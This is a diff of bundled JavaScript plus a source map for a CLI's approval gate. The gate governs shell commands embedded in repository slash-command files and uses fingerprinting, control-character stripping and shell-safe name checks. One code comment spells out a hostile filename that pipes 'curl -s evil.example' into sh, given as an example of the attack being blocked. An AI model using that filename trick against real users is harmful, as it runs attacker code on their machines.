AAC,MAAM,EAAE,WAAW,MAAS;AAC7D,MAAI,QAAQ,WAAW,EAAG,QAAO;AAEjC,QAAM,QAAkB,CAAC;AACzB,QAAM,KAAK,6BAA6B;AAKxC,QAAM;AAAA,IACJ;AAAA,EACF;AAEA,MAAI,YAAY,cAAc,MAAM,KAAK,IAAI,EAAE;AAC/C,MAAI,QAAQ;AAEZ,aAAW,OAAO,SAAS;AACzB,UAAM,OAAO,IAAI,eAAe,IAAI,IAAI,YAAY,KAAK;AACzD,UAAM,QAAQ,QAAQ,IAAI,IAAI,GAAG,IAAI,OAAO,IAAI,WAAW;AAC3D,QAAI,MAAM,SAAS,WAAW;AAE5B,YAAM,OAAO,QAAQ,IAAI,IAAI;AAC7B,UAAI,KAAK,UAAU,WAAW;AAC5B,cAAM,KAAK,IAAI;AACf;AACA,qBAAa,KAAK,SAAS;AAAA,MAC7B;AACA;AAAA,IACF;AACA,UAAM,KAAK,KAAK;AAChB;AACA,iBAAa,MAAM,SAAS;AAAA,EAC9B;AAEA,MAAI,QAAQ,QAAQ,OAAQ,OAAM,KAAK,eAAU,QAAQ,SAAS,KAAK,iBAAiB;AAExF,SAAO,MAAM,KAAK,IAAI;AACxB;","names":[]}
@@ -1,6 +1,9 @@
1
+ import {
2
+ CONTROL_CHARACTERS
3
+ } from "./chunk-2AAOF5B5.js";
1
4
  import {
2
5
  updateWorkspaceTrust
3
- } from "./chunk-DGMQEI6Y.js";
6
+ } from "./chunk-VPNLCMVR.js";
4
7
 
5
8
  // src/command-approvals.ts
6
9
  import { createHash } from "crypto";
@@ -80,7 +83,6 @@ var ProjectCommandApprovalError = class extends Error {
80
83
  };
81
84
  var MAX_LISTED_COMMANDS = 5;
82
85
  var MAX_COMMAND_CHARS = 160;
83
- var CONTROL_CHARACTERS = /[\u0000-\u001f\u007f\u0085\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g;
84
86
  function displayable(command) {
85
87
  const flattened = command.replace(CONTROL_CHARACTERS, " ").trim();
86
88
  return flattened.length > MAX_COMMAND_CHARS ? `${flattened.slice(0, MAX_COMMAND_CHARS)}\u2026` : flattened;
@@ -164,4 +166,4 @@ export {
164
166
  assertProjectCommandApproved,
165
167
  persistProjectCommandChoice
166
168
  };
167
- //# sourceMappingURL=chunk-5KLVH3PY.js.map
169
+ //# sourceMappingURL=chunk-HQI7NYGX.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/command-approvals.ts","../src/commands/shell-injection.ts"],"sourcesContent":["/**\n * Trust decisions for shell substitution in project-declared slash commands.\n *\n * A `.book/commands/*.md` body may contain inline shell spans and fenced shell\n * blocks, which the resolver executes before the prompt reaches the model. That\n * execution predates the permission system: no rule is consulted, no sandbox\n * applies, and nothing is asked. A checked-in command file is therefore\n * repository-controlled code that runs on invocation, and since print/headless\n * hosts expand custom commands through the same resolver, `book -p \"/name\"`\n * reaches the same shell without a terminal to warn anyone.\n *\n * Project command files consequently need the one-time decision an `.mcp.json`\n * server already needs. It is recorded outside the workspace, in\n * `<BOOK_HOME>/trust.json` keyed by workspace path, for the reason the other\n * three gated classes moved there: `.gitignore` does not stop a *tracked* file\n * from reaching a clone, so a repository that force-adds\n * `.book/settings.local.json` would otherwise ship its own approvals and arrive\n * pre-trusted. Both workspace settings layers are stripped of the key, so\n * nothing the gated party writes can answer for it.\n *\n * The fingerprint covers the extracted shell, not the whole body: editing what\n * runs invalidates the decision, editing the surrounding prose does not. Prose\n * is prompt text, and the tool calls a model makes from it still have to get\n * past the permission system; re-prompting on every wording change is how a\n * gate teaches people to approve without reading.\n *\n * User-global commands (<BOOK_HOME>/commands) were written by the user and are\n * never gated; a project command that substitutes no shell has nothing to\n * approve and is never gated either.\n */\nimport { createHash } from 'crypto';\nimport { CONTROL_CHARACTERS } from './control-characters.js';\nimport { extractShellInjections } from './commands/shell-injection.js';\nimport type { CommandSettings, ProjectCommandChoice } from './settings.js';\nimport type { SlashCommand } from './types/commands.js';\nimport { updateWorkspaceTrust } from './workspace-trust.js';\n\n/** Recorded decisions, keyed by command name. */\nexport type ProjectCommandStore = Record<string, ProjectCommandChoice>;\n\nexport interface CommandApprovalSettings {\n commands?: Partial<CommandSettings>;\n}\n\n/**\n * Stable digest of exactly the shell a body will run, in order.\n *\n * Kind participates: moving a command between an inline span and a fenced block\n * changes how its output lands in the prompt.\n */\nexport function projectCommandFingerprint(body: string): string {\n const canonical = JSON.stringify(\n extractShellInjections(body).map((injection) => [injection.kind, injection.command]),\n );\n return createHash('sha256').update(canonical).digest('hex').slice(0, 16);\n}\n\nexport type ProjectCommandApprovalState = 'not-required' | 'approved' | 'rejected' | 'unknown';\n\nexport function evaluateProjectCommandApproval(\n settings: CommandApprovalSettings,\n command: SlashCommand,\n): ProjectCommandApprovalState {\n if (command.source !== 'project') return 'not-required';\n if (extractShellInjections(command.body).length === 0) return 'not-required';\n const choice = settings.commands?.projectCommands?.[command.name];\n if (!choice) return 'unknown';\n // A body edited after the decision is a new thing to decide on, not a\n // decision already made.\n if (choice.fingerprint !== projectCommandFingerprint(command.body)) return 'unknown';\n return choice.choice;\n}\n\nexport interface ProjectCommandApprovalPartition {\n /** Approved by the user: their shell substitution runs. */\n approved: SlashCommand[];\n /** No valid decision recorded: refused until the user makes one. */\n pending: SlashCommand[];\n /** Explicitly refused. */\n rejected: SlashCommand[];\n}\n\n/**\n * Partition the commands that are subject to the gate. Commands that need no\n * decision — user-global, or substituting no shell — appear in none of the\n * three lists, so a caller reporting this reports only real decisions.\n */\nexport function partitionProjectCommands(\n commands: readonly SlashCommand[],\n settings: CommandApprovalSettings,\n): ProjectCommandApprovalPartition {\n const partition: ProjectCommandApprovalPartition = { approved: [], pending: [], rejected: [] };\n for (const command of commands) {\n const state = evaluateProjectCommandApproval(settings, command);\n if (state === 'approved') partition.approved.push(command);\n else if (state === 'rejected') partition.rejected.push(command);\n else if (state === 'unknown') partition.pending.push(command);\n }\n return partition;\n}\n\n/** Raised instead of running unapproved repository shell. */\nexport class ProjectCommandApprovalError extends Error {\n constructor(\n readonly commandName: string,\n readonly fingerprint: string,\n readonly state: 'unknown' | 'rejected',\n message: string,\n ) {\n super(message);\n this.name = 'ProjectCommandApprovalError';\n }\n}\n\nconst MAX_LISTED_COMMANDS = 5;\nconst MAX_COMMAND_CHARS = 160;\n\n/**\n * Render repository-authored text for a terminal.\n *\n * The command strings come from a file the gated party wrote, so control\n * characters are stripped before display: an ANSI escape in a command body\n * could otherwise repaint or hide the very lines the user is being asked to\n * judge.\n */\nfunction displayable(command: string): string {\n const flattened = command.replace(CONTROL_CHARACTERS, ' ').trim();\n return flattened.length > MAX_COMMAND_CHARS\n ? `${flattened.slice(0, MAX_COMMAND_CHARS)}…`\n : flattened;\n}\n\n/**\n * A command's name is the filename the repository chose, so it is untrusted\n * text on the same footing as the body. Prose renders it stripped of anything\n * that could repaint the refusal the user is being asked to judge.\n */\nexport function displayableCommandName(name: string): string {\n return displayable(name);\n}\n\n/**\n * The name only when it is safe to hand someone as a shell word.\n *\n * A refusal prints a `book trust command <name>` line for the user to paste\n * into their own shell, and the name reaching it came from the gated party. A\n * repository shipping ``.book/commands/deploy`curl -s evil.example|sh`.md``\n * would otherwise have its payload executed by the very act of approving —\n * quoting is not enough, because the name is also what the user reads to\n * decide. Anything outside a plain filename returns null and the caller prints\n * no paste-ready line at all.\n */\nexport function shellSafeCommandName(name: string): string | null {\n return /^[A-Za-z0-9][A-Za-z0-9._-]*$/.test(name) ? name : null;\n}\n\n/**\n * The shell a body substitutes, rendered for a terminal, one line per command.\n *\n * Approving a command approves this, so any surface that offers the decision\n * has to be able to show it — `book doctor` listing what is withheld, and\n * `book trust command --all-pending`, which would otherwise grant a list of\n * names. Truncation is reported rather than hidden.\n */\nexport function describeProjectCommandShell(command: SlashCommand): string[] {\n const injections = extractShellInjections(command.body);\n const listed = injections.slice(0, MAX_LISTED_COMMANDS);\n return [\n ...listed.map((injection) => `$ ${displayable(injection.command)}`),\n ...(injections.length > listed.length\n ? [`…and ${injections.length - listed.length} more — read the file before approving`]\n : []),\n ];\n}\n\nexport function describeProjectCommandApproval(\n command: SlashCommand,\n state: 'unknown' | 'rejected',\n): string {\n const injections = extractShellInjections(command.body);\n const listed = injections.slice(0, MAX_LISTED_COMMANDS);\n const shown = displayableCommandName(command.name);\n const safeName = shellSafeCommandName(command.name);\n // Approving from a truncated view is approving what you did not read, so\n // an abbreviated listing says so and names the file to read instead.\n const abbreviated =\n injections.length > listed.length ||\n listed.some((injection) => displayable(injection.command) !== injection.command);\n return [\n state === 'rejected'\n ? `/${shown} substitutes shell you rejected.`\n : `/${shown} substitutes shell that has not been approved.`,\n '',\n ` .book/commands/${shown}.md runs ${injections.length} shell command${\n injections.length === 1 ? '' : 's'\n } to build its prompt.`,\n ' That happens before the model sees anything, outside the permission system',\n ' and outside the sandbox, so it needs a decision first:',\n '',\n ...listed.map((injection) => ` $ ${displayable(injection.command)}`),\n ...(injections.length > listed.length\n ? [` …and ${injections.length - listed.length} more`]\n : []),\n '',\n ...(safeName\n ? [\n ` Approve with: book trust command ${safeName}`,\n ` Refuse it with: book trust command ${safeName} --reject`,\n ' Run it from the project, or pass --workspace. Editing what the command runs asks again.',\n ]\n : [\n ' This command’s file name is not a plain name, so no command to paste is offered:',\n ' a name is a filename the repository chose, and pasting one can run what it contains.',\n ' Rename the file, or decide it with `book trust command --all-pending`.',\n ]),\n ...(abbreviated\n ? [\n ` Not shown verbatim (abbreviated, or unsafe characters stripped) — read`,\n ` .book/commands/${shown}.md in full before approving.`,\n ]\n : []),\n ].join('\\n');\n}\n\n/**\n * Fail closed before any substitution happens.\n *\n * A caller that supplies no store is treated as having no decision on file,\n * which refuses rather than runs: an unwired host cannot silently reopen the\n * gate.\n */\nexport function assertProjectCommandApproved(\n command: SlashCommand,\n settings: CommandApprovalSettings,\n): void {\n const state = evaluateProjectCommandApproval(settings, command);\n if (state === 'approved' || state === 'not-required') return;\n throw new ProjectCommandApprovalError(\n command.name,\n projectCommandFingerprint(command.body),\n state,\n describeProjectCommandApproval(command, state),\n );\n}\n\n/** Record an approve/reject decision in the user-global trust store. */\nexport function persistProjectCommandChoice(\n workspace: string,\n name: string,\n fingerprint: string,\n choice: ProjectCommandChoice['choice'],\n options: { trustStorePath?: string } = {},\n): { ok: boolean; error?: string } {\n return updateWorkspaceTrust(\n workspace,\n (trust) => {\n trust.projectCommands[name] = { fingerprint, choice };\n },\n options.trustStorePath,\n );\n}\n","/**\n * Extraction of the shell substitutions a slash-command body performs.\n *\n * Two callers must never disagree about this list: the approval fingerprint\n * (`command-approvals.ts`) and the executor (`resolve.ts`). Deriving both from\n * one scan is what makes \"the shell that ran is the shell that was approved\"\n * true by construction rather than by review.\n *\n * Extraction runs against the raw body, before variable substitution, because\n * that is when the resolver executes: the `command` string here is byte-for-byte\n * what reaches the shell, so `$ARGUMENTS` cannot smuggle anything into an\n * approved command.\n *\n * The single scan also closes a second-order hole. Substituting fenced blocks\n * first and then scanning the *result* for inline backticks — as this resolver\n * used to — re-reads command output as source, so a block that printed\n * ``!`cmd` `` would have it executed. Spans are taken from the original body\n * once and output is never rescanned.\n */\n\nexport type ShellInjectionKind = 'block' | 'command';\n\nexport interface ShellInjection {\n /** ```` ```! ```` fenced block, or an inline ``!`cmd` `` span. */\n kind: ShellInjectionKind;\n /** Exactly the string handed to the shell. */\n command: string;\n /** Half-open span of the placeholder within the body. */\n start: number;\n end: number;\n}\n\n/**\n * Fenced blocks are matched against the raw body, independently of everything\n * else in it. Folding both forms into one alternation looked equivalent and was\n * not: an earlier plain ``` fence or a stray backtick leaves odd backtick\n * parity, and the inline alternative then swallows the first backtick of a\n * later ```! opener — turning a block into an inline command with a span that\n * leaves stray backticks in the prompt.\n */\nconst BLOCK_PATTERN = /```!\\s*\\n([\\s\\S]*?)```/g;\nconst INLINE_PATTERN = /!?`([^`]+)`/g;\n\nexport function extractShellInjections(body: string): ShellInjection[] {\n const injections: ShellInjection[] = [];\n // Same UTF-16 code units the regex indexes, so blanking a span preserves\n // every later offset exactly.\n const outsideBlocks = body.split('');\n\n for (const match of body.matchAll(BLOCK_PATTERN)) {\n const start = match.index ?? 0;\n const end = start + match[0].length;\n injections.push({ kind: 'block', command: match[1].trim(), start, end });\n // Blank the span before the inline scan: a block contributes no backticks\n // to pair with, and — unlike substituting its output first — nothing a\n // command prints can be read back as source.\n for (let index = start; index < end; index++) outsideBlocks[index] = ' ';\n }\n\n for (const match of outsideBlocks.join('').matchAll(INLINE_PATTERN)) {\n const inline = match[1];\n // A plain `code` span is Markdown prose, not an instruction to run anything.\n if (!match[0].startsWith('!`') && !inline.startsWith('!')) continue;\n const start = match.index ?? 0;\n injections.push({\n kind: 'command',\n command: (inline.startsWith('!') ? inline.slice(1) : inline).trim(),\n start,\n end: start + match[0].length,\n });\n }\n\n // Document order: it is both the execution order and what the approval\n // fingerprint digests.\n return injections.sort((left, right) => left.start - right.start);\n}\n\n/**\n * Replace each extracted span with its output.\n *\n * `outputs` is positional against `injections`, which must have come from\n * `extractShellInjections(body)` — the spans index into that exact body.\n */\nexport function applyShellInjections(\n body: string,\n injections: readonly ShellInjection[],\n outputs: readonly string[],\n): string {\n let result = '';\n let cursor = 0;\n for (const [index, injection] of injections.entries()) {\n result += body.slice(cursor, injection.start);\n result += outputs[index] ?? '';\n cursor = injection.end;\n }\n return result + body.slice(cursor);\n}\n"],"mappings":"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","names":[]}